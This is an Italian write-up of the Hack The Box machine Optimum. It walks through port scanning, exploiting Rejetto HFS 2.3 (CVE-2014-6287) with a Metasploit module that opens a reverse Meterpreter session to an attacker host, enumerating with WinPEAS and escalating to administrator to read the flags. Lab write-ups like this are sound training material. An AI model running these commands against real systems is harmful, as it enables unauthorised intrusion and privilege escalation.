
Writeup della macchina Optimum di Hack The Box. Questa guida copre lo sfruttamento di Rejetto HttpFileServer 2.3 (CVE-2014-6287) per ottenere l'accesso iniziale, seguito dall'elevazione dei privilegi su un host Windows utilizzando tecniche di enumerazione e strumenti di post-exploitation.
In questa macchina, l'obiettivo è ottenere un accesso iniziale a un host Windows sfruttando un servizio web vulnerabile e successivamente elevare i privilegi per ottenere la flag dell'amministratore.
Il percorso di attacco ha previsto:
Iniziamo con una scansione completa delle porte TCP per identificare i servizi esposti.
nmap -Pn -n -p- --min-rate 5000 -T4 <TARGET_IP>
La scansione rivela la porta 80 aperta.
Successivamente, eseguiamo una scansione dei servizi e delle versioni.
nmap -p80 -sSCV --min-rate 5000 -T4 <TARGET_IP>
Il risultato identifica il seguente servizio:
HttpFileServer 2.3
Questo servizio corrisponde a Rejetto HTTP File Server, un server web leggero per la condivisione di file.
Dopo aver effettuato ricerche sulla versione rilevata, scopriamo una vulnerabilità nota:
CVE-2014-6287
Questa vulnerabilità consente l'esecuzione remota di codice a causa di una scorretta sanitizzazione degli input.
Per sfruttare la vulnerabilità, utilizziamo Metasploit.
Avviamo Metasploit:
msfconsole -q
Cerchiamo il modulo appropriato:
search rejetto
Carichiamo il modulo exploit:
use exploit/windows/http/rejetto_hfs_exec
Configuriamo le opzioni richieste:
set RHOSTS <TARGET_IP>
set RPORT <TARGET_PORT>
set LHOST <ATTACKER_IP>
set LPORT <ATTACKER_PORT>
run
Una volta eseguito, l'exploit fornisce una sessione Meterpreter sulla macchina target.
Con la sessione Meterpreter ottenuta, esploriamo il filesystem per recuperare la flag utente.
cd
cat user.txt
whoami
L'output dei comandi mostra che siamo autenticati come:
kostas
Poiché questo utente non dispone di privilegi amministrativi, procediamo con l'elevazione dei privilegi.
Per identificare potenziali vettori di elevazione dei privilegi, carichiamo WinPEAS, un noto strumento di enumerazione per l'elevazione dei privilegi su Windows.
upload /usr/share/peass/winpeas/winPEAS.exe C:\Users\kostas\Desktop\wp.exe
Successivamente lo eseguiamo:
shell
.\wp.exe
L'output rivela informazioni utili, incluse credenziali associate all'utente kostas.
Dopo aver esaminato i possibili vettori di elevazione, utilizziamo il modulo di Metasploit:
local_exploit_suggester
Carichiamo il modulo:
use post/multi/recon/local_exploit_suggester
Configuriamo la sessione:
set SESSION <SESSION_NUMBER>
run
Questo modulo suggerisce possibili exploit locali che possono essere utilizzati per elevare i privilegi.
Dopo aver elevato con successo i privilegi, otteniamo una shell con diritti amministrativi.
Verifica:
shell
whoami
Una volta ottenuti i privilegi amministrativi, ci spostiamo nella directory Administrator per recuperare la flag root.
cd \Users\Administrator
dir
cd Desktop
dir
type root.txt
Questa macchina dimostra diversi concetti importanti del penetration testing: